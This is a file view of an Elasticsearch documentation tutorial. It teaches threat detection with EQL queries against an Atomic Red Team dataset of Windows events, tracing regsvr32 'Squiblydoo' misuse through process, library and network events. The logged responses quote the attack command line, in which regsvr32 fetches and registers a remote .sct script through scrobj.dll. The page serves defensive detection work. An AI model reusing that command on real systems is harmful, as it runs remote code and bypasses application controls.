mirror of
https://github.com/honeymoose/OpenSearch.git
synced 2025-02-10 15:05:33 +00:00
bff3c7470e
The building block of the eql response is currently the SearchHit. This is a problem since it is tied to an actual search, and thus has scoring, highlighting, shard information and a lot of other things that are not relevant for EQL. This becomes a problem when doing sequence queries since the response is not generated from one search query and thus there are no SearchHits to speak of. Emulating one is not just conceptually incorrect but also problematic since most of the data is missed or made-up. As such this PR introduces a simple class, Event, that maps nicely to the terminology while hiding the ES internals (the use of SearchHit or GetResult/GetResponse depending on the API used). Fix #59764 Fix #59779 Co-authored-by: Igor Motov <igor@motovs.org> (cherry picked from commit 997376fbe6ef2894038968842f5e0635731ede65)
423 lines
13 KiB
Plaintext
423 lines
13 KiB
Plaintext
[role="xpack"]
|
|
[testenv="basic"]
|
|
[[eql-ex-threat-detection]]
|
|
== Example: Detect threats with EQL
|
|
|
|
experimental::[]
|
|
|
|
This example tutorial shows you how you can use EQL to detect security threats
|
|
and other suspicious behavior.
|
|
|
|
In the scenario, you're tasked with detecting
|
|
https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
|
|
logs. `regsvr32` misuse is a known adversary technique documented in the
|
|
https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
|
|
|
|
[discrete]
|
|
[[eql-ex-threat-detection-setup]]
|
|
=== Setup
|
|
|
|
This tutorial uses a test dataset for `regsvr32` misuse from
|
|
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
|
|
been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
|
|
Schema (ECS)], including the `@timestamp` and `event.category` fields. The
|
|
dataset includes events that imitate behaviors related to `regsvr32` misuse, as
|
|
documented by MITRE ATT&CK®.
|
|
|
|
To get started, download and index the dataset:
|
|
|
|
. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
|
|
|
|
. Index the data into `my-index-000001` with the following <<docs-bulk,bulk
|
|
API>> request:
|
|
+
|
|
[source,sh]
|
|
----
|
|
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
|
|
----
|
|
// NOTCONSOLE
|
|
|
|
. Use the <<cat-indices,cat indices API>> to verify the data was successfully
|
|
indexed.
|
|
+
|
|
[source,console]
|
|
----
|
|
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
|
|
----
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
+
|
|
The API response should show a `docs.count` value of `150`, indicating 150
|
|
documents were indexed.
|
|
+
|
|
[source,txt]
|
|
----
|
|
health status index docs.count
|
|
yellow open my-index-000001 150
|
|
----
|
|
// TESTRESPONSE[non_json]
|
|
|
|
[discrete]
|
|
[[eql-ex-get-a-count-of-regsvr32-events]]
|
|
=== Get a count of `regsvr32` events
|
|
|
|
Since you're looking for `regsvr32` misuse, start by getting a count of any
|
|
events associated with a `regsvr32.exe` process.
|
|
|
|
The following <<eql-search-api,EQL search API>> request uses an EQL query to
|
|
retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
|
|
starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
|
|
meaning the query can match events of any <<eql-required-fields,event
|
|
category>>.
|
|
|
|
[source,console]
|
|
----
|
|
GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
|
|
{
|
|
"query": """
|
|
any where process.name == "regsvr32.exe" <2>
|
|
""",
|
|
"size": 200 <3>
|
|
}
|
|
----
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
|
|
`hits.events` property from the response. The `hits.events` property contains
|
|
the document source for any matching events. This request is intended to
|
|
retrieve a count of events only.
|
|
<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
|
|
<3> Returns up to 200 events or sequences matching the EQL query.
|
|
|
|
The request returns the following response, indicating that 143 events match the
|
|
query.
|
|
|
|
[source,console-result]
|
|
----
|
|
{
|
|
"is_partial": false,
|
|
"is_running": false,
|
|
"took": 60,
|
|
"timed_out": false,
|
|
"hits": {
|
|
"total": {
|
|
"value": 143,
|
|
"relation": "eq"
|
|
}
|
|
}
|
|
}
|
|
----
|
|
// TESTRESPONSE[s/"took": 60/"took": $body.took/]
|
|
|
|
[discrete]
|
|
[[eql-ex-check-for-command-line-artifacts]]
|
|
=== Check for command line artifacts
|
|
|
|
Based on your previous query, you know `regsvr32` processes were associated with
|
|
143 events. But how was `regsvr32.exe` first called? And who called it?
|
|
|
|
`regsvr32` is a command-line utility so it may help to narrow your results to
|
|
processes where the command line was used.
|
|
|
|
Update the previous EQL query as follows:
|
|
|
|
* Change the `any` keyword to `process`. This limits matches to events with an
|
|
`event.category` of `process`.
|
|
* Add the `and process.command_line.keyword != null` condition to match only
|
|
events with a command line value.
|
|
|
|
You'll also need to remove the `filter_path=-hits.events` query parameter. This
|
|
lets you retrieve the document source for any matching events.
|
|
|
|
[source,console]
|
|
----
|
|
GET /my-index-000001/_eql/search
|
|
{
|
|
"query": """
|
|
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
|
|
"""
|
|
}
|
|
----
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
The query matches one process event. The event has an `event.type` of
|
|
`creation`, indicating the start of a `regsvr32.exe` process.
|
|
|
|
Based on the `process.command_line` value in the response, `regsvr32.exe` used
|
|
`scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
|
|
https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
|
|
variant of `regsvr32` misuse.
|
|
|
|
The response also includes other valuable information about how the
|
|
`regsvr32.exe` process started, such as the `@timestamp`, the associated
|
|
`user.id`, and the `process.parent.name`.
|
|
|
|
[source,console-result]
|
|
----
|
|
{
|
|
"is_partial": false,
|
|
"is_running": false,
|
|
"took": 21,
|
|
"timed_out": false,
|
|
"hits": {
|
|
"total": {
|
|
"value": 1,
|
|
"relation": "eq"
|
|
},
|
|
"events": [
|
|
{
|
|
"_index": "my-index-000001",
|
|
"_id": "gl5MJXMBMk1dGnErnBW8",
|
|
"_source": {
|
|
"process": {
|
|
"parent": {
|
|
"name": "cmd.exe",
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
|
|
"executable": "C:\\Windows\\System32\\cmd.exe"
|
|
},
|
|
"name": "regsvr32.exe",
|
|
"pid": 2012,
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe",
|
|
"ppid": 2652
|
|
},
|
|
"logon_id": 217055,
|
|
"@timestamp": 131883573237130000,
|
|
"event": {
|
|
"category": "process",
|
|
"type": "creation"
|
|
},
|
|
"user": {
|
|
"full_name": "bob",
|
|
"domain": "ART-DESKTOP",
|
|
"id": "ART-DESKTOP\\bob"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
----
|
|
// TESTRESPONSE[s/"took": 21/"took": $body.took/]
|
|
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
|
|
|
|
[discrete]
|
|
[[eql-ex-check-for-malicious-script-loads]]
|
|
=== Check for malicious script loads
|
|
|
|
You now know that a `regsvr32.exe` process was used to register a potentially
|
|
malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
|
|
`scrob.dll` library.
|
|
|
|
Modify the previous EQL query as follows:
|
|
|
|
* Change the `process` keyword to `library`.
|
|
* Replace the `process.command_line.keyword != null` condition with
|
|
`dll.name == "scrobj.dll`.
|
|
|
|
[source,console]
|
|
----
|
|
GET /my-index-000001/_eql/search
|
|
{
|
|
"query": """
|
|
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
|
|
"""
|
|
}
|
|
----
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
The query matches an event, confirming `scrobj.dll` was later loaded by
|
|
`regsvr32.exe`.
|
|
|
|
[source,console-result]
|
|
----
|
|
{
|
|
"is_partial": false,
|
|
"is_running": false,
|
|
"took": 5,
|
|
"timed_out": false,
|
|
"hits": {
|
|
"total": {
|
|
"value": 1,
|
|
"relation": "eq"
|
|
},
|
|
"events": [
|
|
{
|
|
"_index": "my-index-000001",
|
|
"_id": "ol5MJXMBMk1dGnErnBW8",
|
|
"_source": {
|
|
"process": {
|
|
"name": "regsvr32.exe",
|
|
"pid": 2012,
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
},
|
|
"@timestamp": 131883573237450016,
|
|
"dll": {
|
|
"path": "C:\\Windows\\System32\\scrobj.dll",
|
|
"name": "scrobj.dll"
|
|
},
|
|
"event": {
|
|
"category": "library"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
----
|
|
// TESTRESPONSE[s/"took": 5/"took": $body.took/]
|
|
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
|
|
|
|
[discrete]
|
|
[[eql-ex-detemine-likelihood-of-sucess]]
|
|
=== Determine likelihood of success
|
|
|
|
In many cases, malicious scripts are used to connect to remote servers or
|
|
download other files. If this occurred, the attack might have succeeded.
|
|
|
|
Use an <<eql-sequences,EQL sequence query>> to check for the following series of
|
|
events, in order:
|
|
|
|
. A `regsvr32.exe` process, which could have been used to register malicious
|
|
scripts as `scrobj.dll`
|
|
. A load of the `scrobj.dll` library by the same process
|
|
. Any network event by the same process, which could indicate the download of a
|
|
remote file
|
|
|
|
To match, each event in the sequence must share the same process ID, recorded in
|
|
the `process.pid` field.
|
|
|
|
Based on the command line value seen in the previous result, you can expect to
|
|
find a match. However, the sequence query isn't designed for that specific
|
|
command. Instead, it looks for a pattern of suspicious behavior while still
|
|
being generic enough to detect similar threats in the future.
|
|
|
|
[source,console]
|
|
----
|
|
GET /my-index-000001/_eql/search
|
|
{
|
|
"query": """
|
|
sequence by process.pid
|
|
[process where process.name == 'regsvr32.exe']
|
|
[library where dll.name == 'scrobj.dll']
|
|
[network where true]
|
|
"""
|
|
}
|
|
----
|
|
// TEST[setup:atomic_red_regsvr32]
|
|
|
|
The query matches a sequence, indicating the attack likely succeeded.
|
|
|
|
[source,console-result]
|
|
----
|
|
{
|
|
"is_partial": false,
|
|
"is_running": false,
|
|
"took": 25,
|
|
"timed_out": false,
|
|
"hits": {
|
|
"total": {
|
|
"value": 1,
|
|
"relation": "eq"
|
|
},
|
|
"sequences": [
|
|
{
|
|
"join_keys": [
|
|
2012
|
|
],
|
|
"events": [
|
|
{
|
|
"_index": "my-index-000001",
|
|
"_id": "gl5MJXMBMk1dGnErnBW8",
|
|
"_source": {
|
|
"process": {
|
|
"parent": {
|
|
"name": "cmd.exe",
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
|
|
"executable": "C:\\Windows\\System32\\cmd.exe"
|
|
},
|
|
"name": "regsvr32.exe",
|
|
"pid": 2012,
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe",
|
|
"ppid": 2652
|
|
},
|
|
"logon_id": 217055,
|
|
"@timestamp": 131883573237130000,
|
|
"event": {
|
|
"category": "process",
|
|
"type": "creation"
|
|
},
|
|
"user": {
|
|
"full_name": "bob",
|
|
"domain": "ART-DESKTOP",
|
|
"id": "ART-DESKTOP\\bob"
|
|
}
|
|
}
|
|
},
|
|
{
|
|
"_index": "my-index-000001",
|
|
"_id": "ol5MJXMBMk1dGnErnBW8",
|
|
"_source": {
|
|
"process": {
|
|
"name": "regsvr32.exe",
|
|
"pid": 2012,
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
},
|
|
"@timestamp": 131883573237450016,
|
|
"dll": {
|
|
"path": "C:\\Windows\\System32\\scrobj.dll",
|
|
"name": "scrobj.dll"
|
|
},
|
|
"event": {
|
|
"category": "library"
|
|
}
|
|
}
|
|
},
|
|
{
|
|
"_index": "my-index-000001",
|
|
"_id": "EF5MJXMBMk1dGnErnBa9",
|
|
"_source": {
|
|
"process": {
|
|
"name": "regsvr32.exe",
|
|
"pid": 2012,
|
|
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
|
|
"executable": "C:\\Windows\\System32\\regsvr32.exe"
|
|
},
|
|
"@timestamp": 131883573238680000,
|
|
"destination": {
|
|
"address": "151.101.48.133",
|
|
"port": "443"
|
|
},
|
|
"source": {
|
|
"address": "192.168.162.134",
|
|
"port": "50505"
|
|
},
|
|
"event": {
|
|
"category": "network"
|
|
},
|
|
"user": {
|
|
"full_name": "bob",
|
|
"domain": "ART-DESKTOP",
|
|
"id": "ART-DESKTOP\\bob"
|
|
},
|
|
"network": {
|
|
"protocol": "tcp",
|
|
"direction": "outbound"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
]
|
|
}
|
|
}
|
|
----
|
|
// TESTRESPONSE[s/"took": 25/"took": $body.took/]
|
|
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
|
|
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
|
|
// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
|